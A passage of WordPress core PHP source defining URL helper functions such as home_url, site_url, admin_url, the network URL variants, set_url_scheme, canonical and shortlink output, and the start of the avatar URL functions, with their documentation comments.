 * @param array $args See get_the_comments_pagination() for available arguments. Default empty array.
 */
function the_comments_pagination( $args = array() ) {
	echo get_the_comments_pagination( $args );
}

/**
 * Retrieves the URL for the current site where the front end is accessible.
 *
 * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
 * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
 * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
 *
 * @since 3.0.0
 *
 * @param string      $path   Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
 *                            'http', 'https', 'relative', 'rest', or null. Default null.
 * @return string Home URL link with optional path appended.
 */
function home_url( $path = '', $scheme = null ) {
	return get_home_url( null, $path, $scheme );
}

/**
 * Retrieves the URL for a given site where the front end is accessible.
 *
 * Returns the 'home' option with the appropriate protocol. The protocol will be 'https'
 * if is_ssl() evaluates to true; otherwise, it will be the same as the 'home' option.
 * If `$scheme` is 'http' or 'https', is_ssl() is overridden.
 *
 * @since 3.0.0
 *
 * @param int|null    $blog_id Optional. Site ID. Default null (current site).
 * @param string      $path    Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme  Optional. Scheme to give the home URL context. Accepts
 *                             'http', 'https', 'relative', 'rest', or null. Default null.
 * @return string Home URL link with optional path appended.
 */
function get_home_url( $blog_id = null, $path = '', $scheme = null ) {
	$orig_scheme = $scheme;

	if ( empty( $blog_id ) || ! is_multisite() ) {
		$url = get_option( 'home' );
	} else {
		switch_to_blog( $blog_id );
		$url = get_option( 'home' );
		restore_current_blog();
	}

	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
		if ( is_ssl() ) {
			$scheme = 'https';
		} else {
			$scheme = parse_url( $url, PHP_URL_SCHEME );
		}
	}

	$url = set_url_scheme( $url, $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the home URL.
	 *
	 * @since 3.0.0
	 *
	 * @param string      $url         The complete home URL including scheme and path.
	 * @param string      $path        Path relative to the home URL. Blank string if no path is specified.
	 * @param string|null $orig_scheme Scheme to give the home URL context. Accepts 'http', 'https',
	 *                                 'relative', 'rest', or null.
	 * @param int|null    $blog_id     Site ID, or null for the current site.
	 */
	return apply_filters( 'home_url', $url, $path, $orig_scheme, $blog_id );
}

/**
 * Retrieves the URL for the current site where WordPress application files
 * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
 *
 * Returns the 'site_url' option with the appropriate protocol, 'https' if
 * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
 * overridden.
 *
 * @since 3.0.0
 *
 * @param string      $path   Optional. Path relative to the site URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the site URL context. See set_url_scheme().
 * @return string Site URL link with optional path appended.
 */
function site_url( $path = '', $scheme = null ) {
	return get_site_url( null, $path, $scheme );
}

/**
 * Retrieves the URL for a given site where WordPress application files
 * (e.g. wp-blog-header.php or the wp-admin/ folder) are accessible.
 *
 * Returns the 'site_url' option with the appropriate protocol, 'https' if
 * is_ssl() and 'http' otherwise. If `$scheme` is 'http' or 'https',
 * `is_ssl()` is overridden.
 *
 * @since 3.0.0
 *
 * @param int|null    $blog_id Optional. Site ID. Default null (current site).
 * @param string      $path    Optional. Path relative to the site URL. Default empty.
 * @param string|null $scheme  Optional. Scheme to give the site URL context. Accepts
 *                             'http', 'https', 'login', 'login_post', 'admin', or
 *                             'relative'. Default null.
 * @return string Site URL link with optional path appended.
 */
function get_site_url( $blog_id = null, $path = '', $scheme = null ) {
	if ( empty( $blog_id ) || ! is_multisite() ) {
		$url = get_option( 'siteurl' );
	} else {
		switch_to_blog( $blog_id );
		$url = get_option( 'siteurl' );
		restore_current_blog();
	}

	$url = set_url_scheme( $url, $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the site URL.
	 *
	 * @since 2.7.0
	 *
	 * @param string      $url     The complete site URL including scheme and path.
	 * @param string      $path    Path relative to the site URL. Blank string if no path is specified.
	 * @param string|null $scheme  Scheme to give the site URL context. Accepts 'http', 'https', 'login',
	 *                             'login_post', 'admin', 'relative' or null.
	 * @param int|null    $blog_id Site ID, or null for the current site.
	 */
	return apply_filters( 'site_url', $url, $path, $scheme, $blog_id );
}

/**
 * Retrieves the URL to the admin area for the current site.
 *
 * @since 2.6.0
 *
 * @param string $path   Optional. Path relative to the admin URL. Default empty.
 * @param string $scheme The scheme to use. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
 *                       'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function admin_url( $path = '', $scheme = 'admin' ) {
	return get_admin_url( null, $path, $scheme );
}

/**
 * Retrieves the URL to the admin area for a given site.
 *
 * @since 3.0.0
 *
 * @param int|null $blog_id Optional. Site ID. Default null (current site).
 * @param string   $path    Optional. Path relative to the admin URL. Default empty.
 * @param string   $scheme  Optional. The scheme to use. Accepts 'http' or 'https',
 *                          to force those schemes. Default 'admin', which obeys
 *                          force_ssl_admin() and is_ssl().
 * @return string Admin URL link with optional path appended.
 */
function get_admin_url( $blog_id = null, $path = '', $scheme = 'admin' ) {
	$url = get_site_url( $blog_id, 'wp-admin/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the admin area URL.
	 *
	 * @since 2.8.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url     The complete admin area URL including scheme and path.
	 * @param string      $path    Path relative to the admin area URL. Blank string if no path is specified.
	 * @param int|null    $blog_id Site ID, or null for the current site.
	 * @param string|null $scheme  The scheme to use. Accepts 'http', 'https',
	 *                             'admin', or null. Default 'admin', which obeys force_ssl_admin() and is_ssl().
	 */
	return apply_filters( 'admin_url', $url, $path, $blog_id, $scheme );
}

/**
 * Retrieves the URL to the includes directory.
 *
 * @since 2.6.0
 *
 * @param string      $path   Optional. Path relative to the includes URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the includes URL context. Accepts
 *                            'http', 'https', or 'relative'. Default null.
 * @return string Includes URL link with optional path appended.
 */
function includes_url( $path = '', $scheme = null ) {
	$url = site_url( '/' . WPINC . '/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the URL to the includes directory.
	 *
	 * @since 2.8.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url    The complete URL to the includes directory including scheme and path.
	 * @param string      $path   Path relative to the URL to the wp-includes directory. Blank string
	 *                            if no path is specified.
	 * @param string|null $scheme Scheme to give the includes URL context. Accepts
	 *                            'http', 'https', 'relative', or null. Default null.
	 */
	return apply_filters( 'includes_url', $url, $path, $scheme );
}

/**
 * Retrieves the URL to the content directory.
 *
 * @since 2.6.0
 *
 * @param string $path Optional. Path relative to the content URL. Default empty.
 * @return string Content URL link with optional path appended.
 */
function content_url( $path = '' ) {
	$url = set_url_scheme( WP_CONTENT_URL );

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the URL to the content directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $url  The complete URL to the content directory including scheme and path.
	 * @param string $path Path relative to the URL to the content directory. Blank string
	 *                     if no path is specified.
	 */
	return apply_filters( 'content_url', $url, $path );
}

/**
 * Retrieves a URL within the plugins or mu-plugins directory.
 *
 * Defaults to the plugins directory URL if no arguments are supplied.
 *
 * @since 2.6.0
 *
 * @param string $path   Optional. Extra path appended to the end of the URL, including
 *                       the relative directory if $plugin is supplied. Default empty.
 * @param string $plugin Optional. A full path to a file inside a plugin or mu-plugin.
 *                       The URL will be relative to its directory. Default empty.
 *                       Typically this is done by passing `__FILE__` as the argument.
 * @return string Plugins URL link with optional paths appended.
 */
function plugins_url( $path = '', $plugin = '' ) {

	$path          = wp_normalize_path( $path );
	$plugin        = wp_normalize_path( $plugin );
	$mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR );

	if ( ! empty( $plugin ) && str_starts_with( $plugin, $mu_plugin_dir ) ) {
		$url = WPMU_PLUGIN_URL;
	} else {
		$url = WP_PLUGIN_URL;
	}

	$url = set_url_scheme( $url );

	if ( ! empty( $plugin ) && is_string( $plugin ) ) {
		$folder = dirname( plugin_basename( $plugin ) );
		if ( '.' !== $folder ) {
			$url .= '/' . ltrim( $folder, '/' );
		}
	}

	if ( $path && is_string( $path ) ) {
		$url .= '/' . ltrim( $path, '/' );
	}

	/**
	 * Filters the URL to the plugins directory.
	 *
	 * @since 2.8.0
	 *
	 * @param string $url    The complete URL to the plugins directory including scheme and path.
	 * @param string $path   Path relative to the URL to the plugins directory. Blank string
	 *                       if no path is specified.
	 * @param string $plugin The plugin file path to be relative to. Blank string if no plugin
	 *                       is specified.
	 */
	return apply_filters( 'plugins_url', $url, $path, $plugin );
}

/**
 * Retrieves the site URL for the current network.
 *
 * Returns the site URL with the appropriate protocol, 'https' if
 * is_ssl() and 'http' otherwise. If $scheme is 'http' or 'https', is_ssl() is
 * overridden.
 *
 * @since 3.0.0
 *
 * @see set_url_scheme()
 *
 * @param string      $path   Optional. Path relative to the site URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the site URL context. Accepts
 *                            'http', 'https', or 'relative'. Default null.
 * @return string Site URL link with optional path appended.
 */
function network_site_url( $path = '', $scheme = null ) {
	if ( ! is_multisite() ) {
		return site_url( $path, $scheme );
	}

	$current_network = get_network();

	if ( 'relative' === $scheme ) {
		$url = $current_network->path;
	} else {
		$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
	}

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the network site URL.
	 *
	 * @since 3.0.0
	 *
	 * @param string      $url    The complete network site URL including scheme and path.
	 * @param string      $path   Path relative to the network site URL. Blank string if
	 *                            no path is specified.
	 * @param string|null $scheme Scheme to give the URL context. Accepts 'http', 'https',
	 *                            'relative' or null.
	 */
	return apply_filters( 'network_site_url', $url, $path, $scheme );
}

/**
 * Retrieves the home URL for the current network.
 *
 * Returns the home URL with the appropriate protocol, 'https' is_ssl()
 * and 'http' otherwise. If `$scheme` is 'http' or 'https', `is_ssl()` is
 * overridden.
 *
 * @since 3.0.0
 *
 * @param string      $path   Optional. Path relative to the home URL. Default empty.
 * @param string|null $scheme Optional. Scheme to give the home URL context. Accepts
 *                            'http', 'https', or 'relative'. Default null.
 * @return string Home URL link with optional path appended.
 */
function network_home_url( $path = '', $scheme = null ) {
	if ( ! is_multisite() ) {
		return home_url( $path, $scheme );
	}

	$current_network = get_network();
	$orig_scheme     = $scheme;

	if ( ! in_array( $scheme, array( 'http', 'https', 'relative' ), true ) ) {
		$scheme = is_ssl() ? 'https' : 'http';
	}

	if ( 'relative' === $scheme ) {
		$url = $current_network->path;
	} else {
		$url = set_url_scheme( 'http://' . $current_network->domain . $current_network->path, $scheme );
	}

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the network home URL.
	 *
	 * @since 3.0.0
	 *
	 * @param string      $url         The complete network home URL including scheme and path.
	 * @param string      $path        Path relative to the network home URL. Blank string
	 *                                 if no path is specified.
	 * @param string|null $orig_scheme Scheme to give the URL context. Accepts 'http', 'https',
	 *                                 'relative' or null.
	 */
	return apply_filters( 'network_home_url', $url, $path, $orig_scheme );
}

/**
 * Retrieves the URL to the admin area for the network.
 *
 * @since 3.0.0
 *
 * @param string $path   Optional path relative to the admin URL. Default empty.
 * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function network_admin_url( $path = '', $scheme = 'admin' ) {
	if ( ! is_multisite() ) {
		return admin_url( $path, $scheme );
	}

	$url = network_site_url( 'wp-admin/network/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the network admin URL.
	 *
	 * @since 3.0.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url    The complete network admin URL including scheme and path.
	 * @param string      $path   Path relative to the network admin URL. Blank string if
	 *                            no path is specified.
	 * @param string|null $scheme The scheme to use. Accepts 'http', 'https',
	 *                            'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
	 */
	return apply_filters( 'network_admin_url', $url, $path, $scheme );
}

/**
 * Retrieves the URL to the admin area for the current user.
 *
 * @since 3.0.0
 *
 * @param string $path   Optional. Path relative to the admin URL. Default empty.
 * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function user_admin_url( $path = '', $scheme = 'admin' ) {
	$url = network_site_url( 'wp-admin/user/', $scheme );

	if ( $path && is_string( $path ) ) {
		$url .= ltrim( $path, '/' );
	}

	/**
	 * Filters the user admin URL for the current user.
	 *
	 * @since 3.1.0
	 * @since 5.8.0 The `$scheme` parameter was added.
	 *
	 * @param string      $url    The complete URL including scheme and path.
	 * @param string      $path   Path relative to the URL. Blank string if
	 *                            no path is specified.
	 * @param string|null $scheme The scheme to use. Accepts 'http', 'https',
	 *                            'admin', or null. Default is 'admin', which obeys force_ssl_admin() and is_ssl().
	 */
	return apply_filters( 'user_admin_url', $url, $path, $scheme );
}

/**
 * Retrieves the URL to the admin area for either the current site or the network depending on context.
 *
 * @since 3.1.0
 *
 * @param string $path   Optional. Path relative to the admin URL. Default empty.
 * @param string $scheme Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                       and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Admin URL link with optional path appended.
 */
function self_admin_url( $path = '', $scheme = 'admin' ) {
	if ( is_network_admin() ) {
		$url = network_admin_url( $path, $scheme );
	} elseif ( is_user_admin() ) {
		$url = user_admin_url( $path, $scheme );
	} else {
		$url = admin_url( $path, $scheme );
	}

	/**
	 * Filters the admin URL for the current site or network depending on context.
	 *
	 * @since 4.9.0
	 *
	 * @param string $url    The complete URL including scheme and path.
	 * @param string $path   Path relative to the URL. Blank string if no path is specified.
	 * @param string $scheme The scheme to use.
	 */
	return apply_filters( 'self_admin_url', $url, $path, $scheme );
}

/**
 * Sets the scheme for a URL.
 *
 * @since 3.4.0
 * @since 4.4.0 The 'rest' scheme was added.
 *
 * @param string      $url    Absolute URL that includes a scheme
 * @param string|null $scheme Optional. Scheme to give $url. Currently 'http', 'https', 'login',
 *                            'login_post', 'admin', 'relative', 'rest', 'rpc', or null. Default null.
 * @return string URL with chosen scheme.
 */
function set_url_scheme( $url, $scheme = null ) {
	$orig_scheme = $scheme;

	if ( ! $scheme ) {
		$scheme = is_ssl() ? 'https' : 'http';
	} elseif ( 'admin' === $scheme || 'login' === $scheme || 'login_post' === $scheme || 'rpc' === $scheme ) {
		$scheme = is_ssl() || force_ssl_admin() ? 'https' : 'http';
	} elseif ( 'http' !== $scheme && 'https' !== $scheme && 'relative' !== $scheme ) {
		$scheme = is_ssl() ? 'https' : 'http';
	}

	$url = trim( $url );
	if ( str_starts_with( $url, '//' ) ) {
		$url = 'http:' . $url;
	}

	if ( 'relative' === $scheme ) {
		$url = ltrim( preg_replace( '#^\w+://[^/]*#', '', $url ) );
		if ( '' !== $url && '/' === $url[0] ) {
			$url = '/' . ltrim( $url, "/ \t\n\r\0\x0B" );
		}
	} else {
		$url = preg_replace( '#^\w+://#', $scheme . '://', $url );
	}

	/**
	 * Filters the resulting URL after setting the scheme.
	 *
	 * @since 3.4.0
	 *
	 * @param string      $url         The complete URL including scheme and path.
	 * @param string      $scheme      Scheme applied to the URL. One of 'http', 'https', or 'relative'.
	 * @param string|null $orig_scheme Scheme requested for the URL. One of 'http', 'https', 'login',
	 *                                 'login_post', 'admin', 'relative', 'rest', 'rpc', or null.
	 */
	return apply_filters( 'set_url_scheme', $url, $scheme, $orig_scheme );
}

/**
 * Retrieves the URL to the user's dashboard.
 *
 * If a user does not belong to any site, the global user dashboard is used. If the user
 * belongs to the current site, the dashboard for the current site is returned. If the user
 * cannot edit the current site, the dashboard to the user's primary site is returned.
 *
 * @since 3.1.0
 *
 * @param int    $user_id Optional. User ID. Defaults to current user.
 * @param string $path    Optional path relative to the dashboard. Use only paths known to
 *                        both site and user admins. Default empty.
 * @param string $scheme  The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                        and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Dashboard URL link with optional path appended.
 */
function get_dashboard_url( $user_id = 0, $path = '', $scheme = 'admin' ) {
	$user_id = $user_id ? (int) $user_id : get_current_user_id();

	$blogs = get_blogs_of_user( $user_id );

	if ( is_multisite() && ! user_can( $user_id, 'manage_network' ) && empty( $blogs ) ) {
		$url = user_admin_url( $path, $scheme );
	} elseif ( ! is_multisite() ) {
		$url = admin_url( $path, $scheme );
	} else {
		$current_blog = get_current_blog_id();

		if ( $current_blog && ( user_can( $user_id, 'manage_network' ) || in_array( $current_blog, array_keys( $blogs ), true ) ) ) {
			$url = admin_url( $path, $scheme );
		} else {
			$active = get_active_blog_for_user( $user_id );
			if ( $active ) {
				$url = get_admin_url( $active->blog_id, $path, $scheme );
			} else {
				$url = user_admin_url( $path, $scheme );
			}
		}
	}

	/**
	 * Filters the dashboard URL for a user.
	 *
	 * @since 3.1.0
	 *
	 * @param string $url     The complete URL including scheme and path.
	 * @param int    $user_id The user ID.
	 * @param string $path    Path relative to the URL. Blank string if no path is specified.
	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
	 *                        'login_post', 'admin', 'relative' or null.
	 */
	return apply_filters( 'user_dashboard_url', $url, $user_id, $path, $scheme );
}

/**
 * Retrieves the URL to the user's profile editor.
 *
 * @since 3.1.0
 *
 * @param int    $user_id Optional. User ID. Defaults to current user.
 * @param string $scheme  Optional. The scheme to use. Default is 'admin', which obeys force_ssl_admin()
 *                        and is_ssl(). 'http' or 'https' can be passed to force those schemes.
 * @return string Dashboard URL link with optional path appended.
 */
function get_edit_profile_url( $user_id = 0, $scheme = 'admin' ) {
	$user_id = $user_id ? (int) $user_id : get_current_user_id();

	if ( is_user_admin() ) {
		$url = user_admin_url( 'profile.php', $scheme );
	} elseif ( is_network_admin() ) {
		$url = network_admin_url( 'profile.php', $scheme );
	} else {
		$url = get_dashboard_url( $user_id, 'profile.php', $scheme );
	}

	/**
	 * Filters the URL for a user's profile editor.
	 *
	 * @since 3.1.0
	 *
	 * @param string $url     The complete URL including scheme and path.
	 * @param int    $user_id The user ID.
	 * @param string $scheme  Scheme to give the URL context. Accepts 'http', 'https', 'login',
	 *                        'login_post', 'admin', 'relative' or null.
	 */
	return apply_filters( 'edit_profile_url', $url, $user_id, $scheme );
}

/**
 * Returns the canonical URL for a post.
 *
 * When the post is the same as the current requested page the function will handle the
 * pagination arguments too.
 *
 * @since 4.6.0
 *
 * @param int|WP_Post $post Optional. Post ID or object. Default is global `$post`.
 * @return string|false The canonical URL. False if the post does not exist
 *                      or has not been published yet.
 */
function wp_get_canonical_url( $post = null ) {
	$post = get_post( $post );

	if ( ! $post ) {
		return false;
	}

	if ( 'publish' !== get_post_status( $post ) ) {
		return false;
	}

	$canonical_url = get_permalink( $post );

	// If a canonical is being generated for the current page, make sure it has pagination if needed.
	if ( get_queried_object_id() === $post->ID ) {
		$page = get_query_var( 'page', 0 );
		if ( $page >= 2 ) {
			if ( ! get_option( 'permalink_structure' ) ) {
				$canonical_url = add_query_arg( 'page', $page, $canonical_url );
			} else {
				$canonical_url = trailingslashit( $canonical_url ) . user_trailingslashit( $page, 'single_paged' );
			}
		}

		$cpage = get_query_var( 'cpage', 0 );
		if ( $cpage ) {
			$canonical_url = get_comments_pagenum_link( $cpage );
		}
	}

	/**
	 * Filters the canonical URL for a post.
	 *
	 * @since 4.6.0
	 *
	 * @param string  $canonical_url The post's canonical URL.
	 * @param WP_Post $post          Post object.
	 */
	return apply_filters( 'get_canonical_url', $canonical_url, $post );
}

/**
 * Outputs rel=canonical for singular queries.
 *
 * @since 2.9.0
 * @since 4.6.0 Adjusted to use `wp_get_canonical_url()`.
 */
function rel_canonical() {
	if ( ! is_singular() ) {
		return;
	}

	$id = get_queried_object_id();

	if ( 0 === $id ) {
		return;
	}

	$url = wp_get_canonical_url( $id );

	if ( ! empty( $url ) ) {
		echo '<link rel="canonical" href="' . esc_url( $url ) . '" />' . "\n";
	}
}

/**
 * Returns a shortlink for a post, page, attachment, or site.
 *
 * This function exists to provide a shortlink tag that all themes and plugins can target.
 * A plugin must hook in to provide the actual shortlinks. Default shortlink support is
 * limited to providing ?p= style links for posts. Plugins can short-circuit this function
 * via the {@see 'pre_get_shortlink'} filter or filter the output via the {@see 'get_shortlink'}
 * filter.
 *
 * @since 3.0.0
 *
 * @param int    $id          Optional. A post or site ID. Default is 0, which means the current post or site.
 * @param string $context     Optional. Whether the ID is a 'site' ID, 'post' ID, or 'media' ID. If 'post',
 *                            the post_type of the post is consulted. If 'query', the current query is consulted
 *                            to determine the ID and context. Default 'post'.
 * @param bool   $allow_slugs Optional. Whether to allow post slugs in the shortlink. It is up to the plugin how
 *                            and whether to honor this. Default true.
 * @return string A shortlink or an empty string if no shortlink exists for the requested resource or if shortlinks
 *                are not enabled.
 */
function wp_get_shortlink( $id = 0, $context = 'post', $allow_slugs = true ) {
	/**
	 * Filters whether to preempt generating a shortlink for the given post.
	 *
	 * Returning a value other than false from the filter will short-circuit
	 * the shortlink generation process, returning that value instead.
	 *
	 * @since 3.0.0
	 *
	 * @param false|string $return      Short-circuit return value. Either false or a URL string.
	 * @param int          $id          Post ID, or 0 for the current post.
	 * @param string       $context     The context for the link. One of 'post' or 'query',
	 * @param bool         $allow_slugs Whether to allow post slugs in the shortlink.
	 */
	$shortlink = apply_filters( 'pre_get_shortlink', false, $id, $context, $allow_slugs );

	if ( false !== $shortlink ) {
		return $shortlink;
	}

	$post_id = 0;
	if ( 'query' === $context && is_singular() ) {
		$post_id = get_queried_object_id();
		$post    = get_post( $post_id );
	} elseif ( 'post' === $context ) {
		$post = get_post( $id );
		if ( ! empty( $post->ID ) ) {
			$post_id = $post->ID;
		}
	}

	$shortlink = '';

	// Return `?p=` link for all public post types.
	if ( ! empty( $post_id ) ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( 'page' === $post->post_type
			&& 'page' === get_option( 'show_on_front' ) && (int) get_option( 'page_on_front' ) === $post->ID
		) {
			$shortlink = home_url( '/' );
		} elseif ( $post_type && $post_type->public ) {
			$shortlink = home_url( '?p=' . $post_id );
		}
	}

	/**
	 * Filters the shortlink for a post.
	 *
	 * @since 3.0.0
	 *
	 * @param string $shortlink   Shortlink URL.
	 * @param int    $id          Post ID, or 0 for the current post.
	 * @param string $context     The context for the link. One of 'post' or 'query',
	 * @param bool   $allow_slugs Whether to allow post slugs in the shortlink. Not used by default.
	 */
	return apply_filters( 'get_shortlink', $shortlink, $id, $context, $allow_slugs );
}

/**
 * Injects rel=shortlink into the head if a shortlink is defined for the current page.
 *
 * Attached to the {@see 'wp_head'} action.
 *
 * @since 3.0.0
 */
function wp_shortlink_wp_head() {
	$shortlink = wp_get_shortlink( 0, 'query' );

	if ( empty( $shortlink ) ) {
		return;
	}

	echo "<link rel='shortlink' href='" . esc_url( $shortlink ) . "' />\n";
}

/**
 * Sends a Link: rel=shortlink header if a shortlink is defined for the current page.
 *
 * Attached to the {@see 'wp'} action.
 *
 * @since 3.0.0
 */
function wp_shortlink_header() {
	if ( headers_sent() ) {
		return;
	}

	$shortlink = wp_get_shortlink( 0, 'query' );

	if ( empty( $shortlink ) ) {
		return;
	}

	header( 'Link: <' . $shortlink . '>; rel=shortlink', false );
}

/**
 * Displays the shortlink for a post.
 *
 * Must be called from inside "The Loop"
 *
 * Call like the_shortlink( __( 'Shortlinkage FTW' ) )
 *
 * @since 3.0.0
 * @since 6.8.0 Removed title attribute.
 *
 * @param string $text   Optional. The link text or HTML to be displayed. Defaults to 'This is the short link.'
 * @param string $title  Unused.
 * @param string $before Optional. HTML to display before the link. Default empty.
 * @param string $after  Optional. HTML to display after the link. Default empty.
 */
function the_shortlink( $text = '', $title = '', $before = '', $after = '' ) {
	$post = get_post();

	if ( empty( $text ) ) {
		$text = __( 'This is the short link.' );
	}

	$shortlink = wp_get_shortlink( $post->ID );

	if ( ! empty( $shortlink ) ) {
		$link = '<a rel="shortlink" href="' . esc_url( $shortlink ) . '">' . $text . '</a>';

		/**
		 * Filters the short link anchor tag for a post.
		 *
		 * @since 3.0.0
		 *
		 * @param string $link      Shortlink anchor tag.
		 * @param string $shortlink Shortlink URL.
		 * @param string $text      Shortlink's text.
		 * @param string $title     Shortlink's title attribute. Unused.
		 */
		$link = apply_filters( 'the_shortlink', $link, $shortlink, $text, $title );
		echo $before, $link, $after;
	}
}

/**
 * Retrieves the avatar URL.
 *
 * @since 4.2.0
 *
 * @param mixed $id_or_email The avatar to retrieve a URL for. Accepts a user ID, Gravatar SHA-256 or MD5 hash,
 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
 * @param array $args {
 *     Optional. Arguments to use instead of the default arguments.
 *
 *     @type int    $size           Height and width of the avatar in pixels. Default 96.
 *     @type string $default        URL for the default image or a default type. Accepts:
 *                                  - '404' (return a 404 instead of a default image)
 *                                  - 'retro' (a 8-bit arcade-style pixelated face)
 *                                  - 'robohash' (a robot)
 *                                  - 'monsterid' (a monster)
 *                                  - 'wavatar' (a cartoon face)
 *                                  - 'identicon' (the "quilt", a geometric pattern)
 *                                  - 'initials' (initials based avatar with background color)
 *                                  - 'color' (generated background color)
 *                                  - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
 *                                  - 'blank' (transparent GIF)
 *                                  - 'gravatar_default' (the Gravatar logo)
 *                                  Default is the value of the 'avatar_default' option,
 *                                  with a fallback of 'mystery'.
 *     @type bool   $force_default  Whether to always show the default image, never the Gravatar.
 *                                  Default false.
 *     @type string $rating         What rating to display avatars up to. Accepts:
 *                                  - 'G' (suitable for all audiences)
 *                                  - 'PG' (possibly offensive, usually for audiences 13 and above)
 *                                  - 'R' (intended for adult audiences above 17)
 *                                  - 'X' (even more mature than above)
 *                                  Default is the value of the 'avatar_rating' option.
 *     @type string $scheme         URL scheme to use. See set_url_scheme() for accepted values.
 *                                  Default null.
 *     @type array  $processed_args When the function returns, the value will be the processed/sanitized $args
 *                                  plus a "found_avatar" guess. Pass as a reference. Default null.
 * }
 * @return string|false The URL of the avatar on success, false on failure.
 */
function get_avatar_url( $id_or_email, $args = null ) {
	$args = get_avatar_data( $id_or_email, $args );
	return $args['url'];
}

/**
 * Check if this comment type allows avatars to be retrieved.
 *
 * @since 5.1.0
 *
 * @param string $comment_type Comment type to check.
 * @return bool Whether the comment type is allowed for retrieving avatars.
 */
function is_avatar_comment_type( $comment_type ) {
	/**
	 * Filters the list of allowed comment types for retrieving avatars.
	 *
	 * @since 3.0.0
	 *
	 * @since 6.9.0 The 'note' comment type was added.
	 *
	 * @param array $types An array of content types. Default contains 'comment' and 'note'.
	 */
	$allowed_comment_types = apply_filters( 'get_avatar_comment_types', array( 'comment', 'note' ) );

	return in_array( $comment_type, (array) $allowed_comment_types, true );
}

/**
 * Retrieves default data about the avatar.
 *
 * @since 4.2.0
 * @since 6.7.0 Gravatar URLs always use HTTPS.
 * @since 6.8.0 Gravatar URLs use the SHA-256 hashing algorithm.
 *
 * @param mixed $id_or_email The avatar to retrieve. Accepts a user ID, Gravatar SHA-256 or MD5 hash,
 *                           user email, WP_User object, WP_Post object, or WP_Comment object.
 * @param array $args {
 *     Optional. Arguments to use instead of the default arguments.
 *
 *     @type int    $size           Height and width of the avatar in pixels. Default 96.
 *     @type int    $height         Display height of the avatar in pixels. Defaults to $size.
 *     @type int    $width          Display width of the avatar in pixels. Defaults to $size.
 *     @type string $default        URL for the default image or a default type. Accepts:
 *                                  - '404' (return a 404 instead of a default image)
 *                                  - 'retro' (a 8-bit arcade-style pixelated face)
 *                                  - 'robohash' (a robot)
 *                                  - 'monsterid' (a monster)
 *                                  - 'wavatar' (a cartoon face)
 *                                  - 'identicon' (the "quilt", a geometric pattern)
 *                                  - 'initials' (initials based avatar with background color)
 *                                  - 'color' (generated background color)
 *                                  - 'mystery', 'mm', or 'mysteryman' (The Oyster Man)
 *                                  - 'blank' (transparent GIF)
 *                                  - 'gravatar_default' (the Gravatar logo)
 *                                  Default is the value of the 'avatar_default' option,
 *                                  with a fallback of 'mystery'.
 *     @type bool   $force_default  Whether to always show the default image, never the Gravatar.
 *                                  Default false.
 *     @type string $rating         What rating to display avatars up to. Accepts:
 *                                  - 'G' (suitable for all audiences)
 *                                  - 'PG' (possibly offensive, usually for audiences 13 and above)
 *                                  - 'R' (intended for adult audiences above 17)
 *                                  - 'X' (even more mature than above)
 *                                  Default is the value of the 'avatar_rating' option.
 *     @type string $scheme         URL scheme to use. See set_url_scheme() for accepted values.
 *                                  For Gravatars this setting is ignored and HTTPS is used to avoid
 *                                  unnecessary redirects. The setting is retained for systems using
 *                                  the {@see 'pre_get_avatar_data'} filter to customize avatars.
 *                                  Default null.
 *     @type array  $processed_args When the function returns, the value will be the processed/sanitized $args
 *                                  plus a "found_avatar" guess. Pass as a reference. Default null.
 *     @type string $extra_attr     HTML attributes to insert in the IMG element. Is not sanitized.
 *                                  Default empty.
 * }
 * @return array {
 *     Along with the arguments passed in `$args`, this will contain a couple of extra arguments.
 *
 *     @type bool         $found_avatar True if an avatar was found for this user,
 *                                      false or not set if none was found.
